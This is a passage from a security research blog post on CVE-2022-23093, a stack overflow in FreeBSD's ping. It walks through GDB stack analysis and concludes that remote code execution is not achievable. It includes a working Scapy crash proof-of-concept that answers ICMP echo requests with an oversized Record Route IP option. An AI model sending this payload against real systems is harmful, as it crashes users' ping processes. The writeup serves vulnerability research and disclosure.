        if (m->m_flags & M_PKTHDR)
                m->m_pkthdr.len -= olen;
        ip->ip_len = htons(ntohs(ip->ip_len) - olen);
        ip->ip_hl = sizeof(struct ip) >> 2;

        bcopy((char *)ip + sizeof(struct ip) + olen, (ip + 1),
            (size_t )(m->m_len - sizeof(struct ip)));
}

From what we see, when the received packet generates an error — and especially all the subtypes of the ICMP Unreachable type — then all the Options are cleared by the kernel itself. In fact, so far we used the last script to make our PoC — and it does generate an ICMP Host-Unreachable message. We could assume that replacing the reply packet with a simple ICMP echo-reply should be enough to successfully receive the Options during the execution of ping.

Crash PoC

Based on the analysis performed so far, we decide to edit the script code in order to reply with an ICMP echo-reply packet, and to use as Options the payload created for our third attempt (we could either have used the one from our first attempt).

#!/usr/bin/env python
from scapy.all import *

def reply_ping(packet):
    
    payload = [
        # NOP (to avoid leading zero byte)
        IPOption(b'\x01'),
        # Record route
        IPOption(b'\x07\x27\x28\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41'),
    ]

    eth = Ether(dst=packet["Ether"].src, src=packet["Ether"].dst)
    ip = IP(src=packet["IP"].dst, dst=packet["IP"].src, options=payload)
    # using random ID to make ping go soon on a return statement
    icmp = ICMP(type=0, id=0xffff, seq=packet['ICMP'].seq)

    data = b"\x42"*16
    icmp_reply = eth/ip/icmp/data
    
    sendp(icmp_reply, iface="vmnet8")


sniff(iface="vmnet8", filter="icmp and icmp[icmptype] == icmp-echo", prn=reply_ping)

Running the script and analyzing the execution of ping with GDB, we actually obtain what we expected, so we successfully receive the reply packet with the Options.

IP Options received

Moreover, proceeding with the execution, we see that the ping command is interrupted due to crash. So, the script that we have just created is indeed a crash PoC for CVE-2022-23093.

Crash obtained using CVE-2022-23093 PoC

Exploit

Initial considerations

We start from the crash PoC to create a working exploit (if possible). First, we must note that the PoC does not result in a crash because of the overwriting of the value used in the RIP register (Instruction Pointer), but because of the activation of the stack protector. So, the overflow overwrites the stack canary and sends a SIGABRT signal (abort).

Stack before and after memcpy

What are we overwriting?

Analyzing the code execution with GDB, it is clear that the overflowing 40 bytes are soon overwritten by the following instruction:

memcpy(&icp, buf + hlen, MIN((ssize_t)sizeof(icp), cc));

icp is declared at the beginning of pr_pack() right before ip, so in the stack it will be right after. With the previous line of code, the ICMP packet is copied at the icp address.

Overflowed bytes overwritten by ICMP packet

The first part of the overflow (the fixed bytes of the IP Options) is untouched. The following 8 bytes are overwritten by the ICMP header. Then, as many bytes as the data in the ICMP packet are overwritten. Last, we find 12 bytes that have not been overwritten.

Stack before and after icp memcpy

Checking the Instruction Pointer (RIP)

Assuming that we could overwrite the return address of the function, our aim would be executing the return instruction as soon as possible. To force this behavior, in fact, the script already implemented a sequence ID of the ICMP echo-reply packet that differed from the one of the request, as seen in this extract:

/* Now the ICMP part */
cc -= hlen;
memcpy(&icp, buf + hlen, MIN((ssize_t)sizeof(icp), cc));
if (icp.icmp_type == icmp_type_rsp) {
    if (icp.icmp_id != ident)
        return;			/* 'Twas not our ECHO */

To force the overwriting of the return address of the function, however, we must first overwrite all the variables stored on the stack, to then get to the end of the stack frame. Let’s see what the stack is made of:

static void
pr_pack(char *buf, ssize_t cc, struct sockaddr_in *from, struct timespec *tv)
{
	struct in_addr ina;
	u_char *cp, *dp, l;
	struct icmp icp;
	struct ip ip;
	// ...

This stack grows upwards. So, if we control the overflow (amounting to 40 bytes) from right after ip, then we will write 40 bytes starting from icp.

Actually, we saw that icp starts 4 bytes after the end of ip. This may be due to the addition of extra bytes to align the variables in the stack in multiples of 2. And, as we thought:

// &ip + sizeof(ip)
0x7ffffffee5a8 + 0x14 = 0x7FFFFFFEE5BC

// &icp - (&ip + sizeof(ip)) != 0
0x7FFFFFFEE5C0 – 0x7FFFFFFEE5BC = 0x4

As shown here, there is a padding of 4 bytes, which are the 4 bytes that were not overwritten by the memcpy of icp.

This means that there are still 36 bytes left for overwriting icp, l, the addresses of dp and cp, and the ina structure. At this point, we also need to spare some bytes.

Using GDB, we quickly calculate the size of the structures:

p sizeof(struct icmp)
$1 = 0x1c  # = 28

p sizeof(struct in_addr)
$2 = 0x4  # = 4

cp and dp are pointers, so we do know that they amount to 8 bytes each. l is an u_char (unsigned char), so it equals 1 byte.

So, in total, excluding any aligning bytes, we should overwrite 28 + 4 + 8 + 8 + 1 = 49 bytes.

This means that we don’t have enough bytes to control RIP. Despite this, we obtain a crash due to the overwriting of 4 out of the 8 bytes from the stack canary, which is located, however, right after the variables and before the "return address". This means that, actually, we are using 36 bytes out of the 40 overflowed bytes to overwrite the variables, and 4 of them to overwrite the stack canary.

But where did the other 13 bytes go? Probably, the compiler ran some optimizations and managed some data using some registers instead of the stack. This would not have happened if the binary had been compiled with the -O0 flag, which disables optimizations.

We can easily prove this theory by checking the ASM code corresponding to the usage of these variables:

Variables optimized out

What does it mean? It means that, as long as the ping binary is compiled using the stack protection by canary, there is no way to overwrite enough bytes to gain control of the return address, and, consequently, of the RIP register.

However, the following picture clearly shows that, if there weren't such protection, we would be able to overwrite 4 bytes from the return address:

Stack canary return address

So, we could gain control of the process and make it run any executable address of 4 bytes in the format 0x00000000XXXXXXXX (where we control the Xs). This means, however, that we could jump on the addresses from the ping binary only, and not on any external libraries:

Addresses we can jump on

And from these addresses, we could control only the executable ones:

Executable ping addresses

Is it possible to get RCE?

Now, for educational purposes, we could disable the stack canary and see if it is possible to get RCE by using some gadgets in the ping section .text — considering that, exploiting the overflow and the data field in the ICMP packet, we could also enter some data as a reference in the stack.

To disable the stack canary, we add the following line to the Makefile:

CFLAGS+=-fno-stack-protector

We recompile it and install it with:

make clean
make
make install

Actually, this edit seems to make no difference. Looking into the command resulting from the execution of make we acknowledge that, somewhere, the -fstack-protector-strong flag is being forced:

stack-protector-strong

We look for it in the lines of source code that may have been added during the compilation:

stack-protector-strong location

The -no-common option in the Makefile suggests that the file responsible for this may be the last one, so we remove the -fstack-protector-strong flag by adding the following line to the Makefile for ping:

SSP_CFLAGS=-fno-stack-protector

Compiling again, it all seems to work.

When we start GDB, however, we realize that the stack to the return address has grown!

Stack with stack protector
stack without stack-protector

Asking PizzaGPT (ChatGPT was still unavailable by the time of this analysis) to clarify the reason behind this behavior, the answer is: "When the stack protector is enabled, the compiler applies some additional optimizations to make the code faster and more effective". We can assume that these optimizations are added to compensate the overhead due to the stack protector.

Pressing PizzaGPT, it ends up denying its first affirmation. So, we go for an empirical check.

Checking the flags added during the compilation, only -O2 looks interesting, but it works without stack protector as well.

To make sure that it is not a compiler flag, we don’t disable the stack protector and we add __attribute__((__no_stack_protector__)) to the pr_pack() function, to prevent it from inserting the stack canary. In fact, the stack canary is not inserted, but again, all the variables are back on the stack.

Conclusions

Without stack protector, we are not able to overwrite a sufficient amount of bytes to get to the return address. With the stack protector, on the other hand, we get to overwrite the canary, at most. On these grounds, we can affirm that it is not possible to exploit CVE-2022-23093 to get RCE.

Francesco Marano
Francesco Marano
Founder | Cyber Security Consultant
www.unlock-security.it

I'm an offensive cyber security expert with several years of experience as penetration tester and team leader.I love making software do things other than what they were designed to do!I do security research to find new bugs and new ways to get access to IT assets. I'm a speaker at events talking about my research to share my findings and improve the awareness about cyber security issues.

Related Posts